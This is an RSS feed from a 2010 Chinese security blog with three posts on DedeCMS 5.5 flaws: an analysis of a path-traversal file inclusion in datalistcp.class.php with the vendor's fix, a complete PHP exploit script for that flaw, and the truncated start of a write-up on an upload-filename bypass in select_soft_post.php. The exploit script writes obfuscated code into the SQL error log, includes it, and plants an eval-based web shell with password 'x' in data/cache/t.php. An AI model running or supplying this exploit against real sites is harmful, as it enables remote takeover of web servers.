<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>st0p&#039;s blog &#187; DEDECMS</title>
	<atom:link href="http://www.st0p.org/blog/tag/dedecms/feed" rel="self" type="application/rss+xml" />
	<link>http://www.st0p.org/blog</link>
	<description>孤高之路不可走,一时的弱者,不是一辈子的弱者!</description>
	<lastBuildDate>Tue, 03 Jan 2012 10:48:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>分析DEDECMS 5.5 datalistcp.class.php 包含</title>
		<link>http://www.st0p.org/blog/archives/analysis-dedecms-5-5-datalistcp-class-php-contains.html</link>
		<comments>http://www.st0p.org/blog/archives/analysis-dedecms-5-5-datalistcp-class-php-contains.html#comments</comments>
		<pubDate>Sat, 03 Apr 2010 15:09:35 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[datalistcp.class.php]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[DEDECMS 5.5]]></category>
		<category><![CDATA[mysql_error_trace.inc]]></category>
		<category><![CDATA[包含]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=437</guid>
		<description><![CDATA[作者:st0p 转载请注明出处 http://www.st0p.org 老早就看到有人发的洞，一直想过写分析来着，最近一直呆在UBUNTU下安装东西。。老忘。。。 有时有些朋友加我，教他找洞。。。这个好似是个累活，而且运气占很大一部分。。。所以我还是尽量帮分析过程发出来吧，也方便我自己学习。 具体的EXP，请看：http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html 以前呢，DEDECMS会把出错的SQL信息，写进mysql_error_trace.php，后来被大牛们爆出来了。就改名为mysql_error_trace.inc了。。。 没想到这次又被包含了。。。看来记录SQL信息也不是啥好事。。。 这个EXP的原理呢，是通过构造特殊的请求给plus/digg_ajax.php来达到写入我们的语句到mysql_error_trace.inc，当然可以满足我们这一步写入到mysql_error_trace.inc的文件还有不少。。不过想要执行他就不可能了。。然后这次报出的洞呢就是运气很好才能碰到的。。 关键代码存在于 /include/datalistcp.class.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... $codefile = &#40;isset&#40;$needCode&#41; ? $needCode : $cfg_soft_lang&#41;; &#160; //通过isset函数检查$needCode是否已配置，如已配置则结果为$needCode，否则结果为$cfg_soft_lang //当我们伪造结果为aa/../../../data/mysql_error_trace时 &#160; if&#40;file_exists&#40;DEDEINC.'/code/datalist.'.$codefile.'.inc'&#41;&#41; &#160; &#123; &#160; require_once&#40;DEDEINC.'/code/datalist.'.$codefile.'.inc'&#41;; //后缀是.inc &#125; //检查文件是否存在，存在则包含。我们通过../成功跳转到到data目录，包含我们刚才构造过的mysql_error_trace.inc //成功运行我们mysql_error_trace.inc在构造的语句。。。 ... 郁闷，前几次想写分析的时候官方还没补呢。。刚去官方看了下通过正则进行了修补 1 2 3 4 5 [...]]]></description>
			<content:encoded><![CDATA[<p>作者:st0p<br />
转载请注明出处 http://www.st0p.org</p>
<p>老早就看到有人发的洞，一直想过写分析来着，最近一直呆在UBUNTU下安装东西。。老忘。。。<br />
有时有些朋友加我，教他找洞。。。这个好似是个累活，而且运气占很大一部分。。。所以我还是尽量帮分析过程发出来吧，也方便我自己学习。<br />
具体的EXP，请看：<a  href="http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html">http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html</a></p>
<p>以前呢，DEDECMS会把出错的SQL信息，写进mysql_error_trace.php，后来被大牛们爆出来了。就改名为mysql_error_trace.inc了。。。<br />
没想到这次又被包含了。。。看来记录SQL信息也不是啥好事。。。</p>
<p>这个EXP的原理呢，是通过构造特殊的请求给plus/digg_ajax.php来达到写入我们的语句到mysql_error_trace.inc，当然可以满足我们这一步写入到mysql_error_trace.inc的文件还有不少。。不过想要执行他就不可能了。。然后这次报出的洞呢就是运气很好才能碰到的。。<br />
关键代码存在于</p>
<p>/include/datalistcp.class.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">...</span>
<span style="color: #000088;">$codefile</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$needCode</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$needCode</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$cfg_soft_lang</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//通过isset函数检查$needCode是否已配置，如已配置则结果为$needCode，否则结果为$cfg_soft_lang</span>
<span style="color: #666666; font-style: italic;">//当我们伪造结果为aa/../../../data/mysql_error_trace时</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span>DEDEINC<span style="color: #339933;">.</span><span style="color: #0000ff;">'/code/datalist.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$codefile</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.inc'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
&nbsp;
<span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span>DEDEINC<span style="color: #339933;">.</span><span style="color: #0000ff;">'/code/datalist.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$codefile</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.inc'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #666666; font-style: italic;">//后缀是.inc</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">//检查文件是否存在，存在则包含。我们通过../成功跳转到到data目录，包含我们刚才构造过的mysql_error_trace.inc</span>
<span style="color: #666666; font-style: italic;">//成功运行我们mysql_error_trace.inc在构造的语句。。。</span>
<span style="color: #339933;">...</span></pre></td></tr></table></div>

<p>郁闷，前几次想写分析的时候官方还没补呢。。刚去官方看了下通过正则进行了修补</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$codefile</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$needCode</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$needCode</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$cfg_soft_lang</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$codefile</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/[\w-]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$codefile</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #666666; font-style: italic;">//通过正则过滤了。。。</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span>DEDEINC<span style="color: #339933;">.</span><span style="color: #0000ff;">'/code/datalist.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$codefile</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.inc'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
&nbsp;
<span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span>DEDEINC<span style="color: #339933;">.</span><span style="color: #0000ff;">'/code/datalist.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$codefile</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.inc'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/analysis-dedecms-5-5-datalistcp-class-php-contains.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>DEDECMS 5.5 datalistcp.class.php 包含 EXP</title>
		<link>http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html#comments</comments>
		<pubDate>Sat, 03 Apr 2010 14:09:20 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[datalistcp.class.php]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[DEDECMS 5.5]]></category>
		<category><![CDATA[Exp]]></category>
		<category><![CDATA[PHP包含]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=412</guid>
		<description><![CDATA[来源于互联网，具体作者不详。看到好久了，一直是想写分析在发出来。老望。。。最近RSS订阅中好多这个，先发一下记录。有空分析，官方已修补。。 执行成功会在data/cache下生成t.php一句话小马 密码x 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [...]]]></description>
			<content:encoded><![CDATA[<p>来源于互联网，具体作者不详。看到好久了，一直是想写分析在发出来。老望。。。最近RSS订阅中好多这个，先发一下记录。有空分析，官方已修补。。</p>
<p>执行成功会在data/cache下生成t.php一句话小马<br />
密码x</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$argc</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'
+----------------------------------------+
Usage: php '</span><span style="color: #339933;">.</span><span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '</span><span style="color: #339933;">.</span><span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' localhost /dedecms/
+----------------------------------------+   
'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">exit</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">ini_set</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'max_execution_time'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$host</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$post_a</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'plus/digg_ajax.php?id=1024e1024&amp;*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$post_b</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'needCode=aa/../../../data/mysql_error_trace'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$shell</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'data/cache/t.php'</span><span style="color: #339933;">;</span>
&nbsp;
get_send<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post_a</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
post_send<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'plus/comments_frame.php'</span><span style="color: #339933;">,</span><span style="color: #000088;">$post_b</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> post_send<span style="color: #009900;">&#40;</span><span style="color: #000088;">$shell</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'t=echo tojen;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$content</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">9</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">'200'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Shell Address is:&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$host</span><span style="color: #339933;">.</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #000088;">$shell</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Error.&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> get_send<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$path</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;GET &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$url</span>  HTTP/1.1<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Accept: */*<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Referer: http://<span style="color: #006699; font-weight: bold;">$host</span><span style="color: #006699; font-weight: bold;">$path</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Accept-Language: zh-cn<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Content-Type: application/x-www-form-urlencoded<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Host: <span style="color: #006699; font-weight: bold;">$host</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Connection: Close<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">80</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Connect to host Error&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #990000;">fputs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$back</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$back</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$back</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> post_send<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$path</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;POST &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$url</span>  HTTP/1.1<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Accept: */*<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Referer: http://<span style="color: #006699; font-weight: bold;">$host</span><span style="color: #006699; font-weight: bold;">$path</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Accept-Language: zh-cn<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Content-Type: application/x-www-form-urlencoded<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Host: <span style="color: #006699; font-weight: bold;">$host</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Content-Length: &quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Connection: Close<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$cmd</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">80</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Connect to host Error&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #990000;">fputs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$back</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$back</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$back</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html/feed</wfw:commentRss>
		<slash:comments>987</slash:comments>
		</item>
		<item>
		<title>DEDECMS v5.5 Final select_soft_post.php 漏洞</title>
		<link>http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html#comments</comments>
		<pubDate>Mon, 08 Mar 2010 17:22:23 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[DEDECMS v5.5]]></category>
		<category><![CDATA[select_soft_post.php]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=389</guid>
		<description><![CDATA[作者:st0p 转载请注明出处 http://www.st0p.org 今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/ 自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了.. 而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧.. 我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK... 看了一下/include/dialog/select_soft_post.php 问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ...... //文件名（前为手工指定， 后者自动处理） if&#40;!empty&#40;$newname&#41;&#41; &#123; $filename = $newname; [...]]]></description>
			<content:encoded><![CDATA[<p>作者:st0p<br />
转载请注明出处 http://www.st0p.org</p>
<p>今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:<a  href="http://bbs.wolvez.org/topic/125/" target="_blank">http://bbs.wolvez.org/topic/125/</a></p>
<p>自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..</p>
<p>而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..</p>
<p>我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...</p>
<p>看了一下/include/dialog/select_soft_post.php</p>
<p>问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">......</span>
